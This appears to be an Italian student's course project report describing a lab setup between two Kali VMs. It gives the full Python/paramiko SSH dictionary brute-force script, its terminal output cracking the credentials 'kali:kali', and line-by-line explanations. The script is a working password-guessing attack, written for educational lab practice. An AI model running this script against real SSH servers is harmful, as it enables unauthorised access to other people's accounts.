Progetto Finale Modulo 2 (W8D4) – Alessandro Criscuoli

Ambiente di test

Per impostare l'ambiente di test per l'esecuzione del mio codice bruteforce ho clonato la macchina kali in modo da fare l'attacco da kali verso un'altra kali linux. Impostate entrambe in rete bridge e con ip dinamico (DHCP) ho controllato l'ip della kali target e scritto sul codice py. Chiaramente in un vero attacco bruteforce non sarebbe così semplice.

Tipologia di bruteforce

Per rendere l'esecuzione leggera ho deciso di creare uno script che esegue tentativi di accesso prendendo le password da un file .txt presente in locale, invece che con l'utilizzo di funzioni python che compongono le password con stringhe randomiche. La tipologia che ho scelto è molto più efficiente quando si tratta di scovare una password di uso comune piuttosto che composta da caratteri alfanumerici randomici.

Esecuzione di bruteforce.py

Inizialmente tentando di connettermi in ssh dalla kali attaccante riscontravo il seguente errore:

```
┌──(root㉿kali)-[/home/kali/Desktop]
└─# python bruteforce.py
Tentativo con credenziali: kali:password
Riscontrato errore: [Errno None] Unable to connect to port 22 on 192.168.1.71
```

Per rendere la kali target raggiungibile ho verificato lo stato del servizio ssh:

```
┌──(kali㉿kali)-[~]
└─$ systemctl status ssh
○ ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: disabled)
     Active: inactive (dead) since Wed 2025-11-19 20:21:45 EST; 5s ago
```

Come si denota dalla scritta "inactive" il servizio era spento, l'ho startato con '*systemctl start ssh'*

```
┌──(kali㉿kali)-[~]
└─$ systemctl start ssh

┌──(kali㉿kali)-[~]
└─$ systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: disabled)
     Active: active (running) since Wed 2025-11-19 20:28:15 EST; 10s ago
```

Verificando nuovamente lo stato con '*systemctl status ssh*' è risultato attivo.

Eseguendo nuovamente il codice:

```
┌──(root㉿kali)-[/home/kali/Desktop]
└─# python bruteforce.py
Tentativo con credenziali: kali:password
Autenticazione fallita.
Tentativo con credenziali: kali:qwerty
Autenticazione fallita.
Tentativo con credenziali: kali:123456789
Autenticazione fallita.
Tentativo con credenziali: kali:abc123
Autenticazione fallita.
Tentativo con credenziali: kali:monkey
Autenticazione fallita.
Tentativo con credenziali: kali:kali
Accesso riuscito!
Credenziali valide: kali:kali
```

Script

```python
import socket
import paramiko

def AccessSSH(host, port, username, password_list):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    for password in password_list:
        try:
            print(f"Tentativo con credenziali: {username}:{password.strip()}")
            client.connect(hostname=host, port=port, username=username, password=password.strip(), timeout=5)
            print(f"Accesso riuscito con credenziali: {username}:{password.strip()}")
            client.close()
            return password.strip()
        except paramiko.AuthenticationException:
            print("Autenticazione fallita.")
            continue
        except (paramiko.SSHException, socket.error) as e:
            print(f"Riscontrato errore: {e}")
            continue

    print("Password non trovata")
    return None

def main():
    host_target = ""
    port_target = 22
    user = ""


    with open("passwords.txt", "r") as file:
        psw = file.readlines()

    found = AccessSSH(host_target, port_target, user, psw)
    if found:
        print(f"Credenziali valide!: {user}:{found}")
    else:
        print("Credenziali non trovate.")

main()
```

Moduli e Funzioni

Per una descrizione dettagliata della logica ho trascritto con commenti ogni riga di codice, in questo documento mi limito a descrivere gli elementi che ho utilizzato per realizzare lo script.

Moduli utilizzati:

socket → per creare connessioni di rete ma nel mio script l'ho usato per gestire possibili errori di rete.

paramiko → per gestire la connessione remota in ssh

Funzioni definite:

AccessSSH → funzione che definisce la funzionalità cioè per tentare la connessione ssh con *username* e *password_list*, utilizzati come parametri assieme a *host* e *port*. Se trova la password fa il return di essa, altrimenti restituisce nulla.

main → funzione principale che avvia il programma e richiama la funzione *AccessSSH*

Altre istruzioni utilizzate:

paramiko.SSHClient() → classe che crea un oggetto 'client' per gestire la connessione SSH

client.set_missing_host_key_policy(paramiko.AutoAddPolicy())→metodo dell'oggetto SSHClient che imposta la policy per aggiungere automaticamente chiavi host sconosciute (evita errori se il server non è tra gli host conosciuti)

for password in password_list: → ciclo for che esegue istruzioni per ogni elemento nella lista, nel mio codice l'ho utilizzato per iterare su tutte le password della lista

client.connect() → metodo che tenta la connessione SSH con le credenziali fornite.

client.close() → metodo che chiude la connessione SSH.

password.strip() → metodo di stringa che rimuove spazi.

paramiko.AuthenticationException → classe eccezione di paramiko che segnala credenziali errate

paramiko.SSHException → classe eccezione di paramiko che segnala errori generali di SSH

socket.error → classe eccezione di socket che segnala errori di rete

open() → funzione python che apre un file

file.readlines() → metodo che legge righe da file

if / else → costrutto di controllo che esegue una verifica

Per chiarimenti sul flusso della logica è disponibile il file *bruteforce.py* sullo stesso path github dove è presente questo report.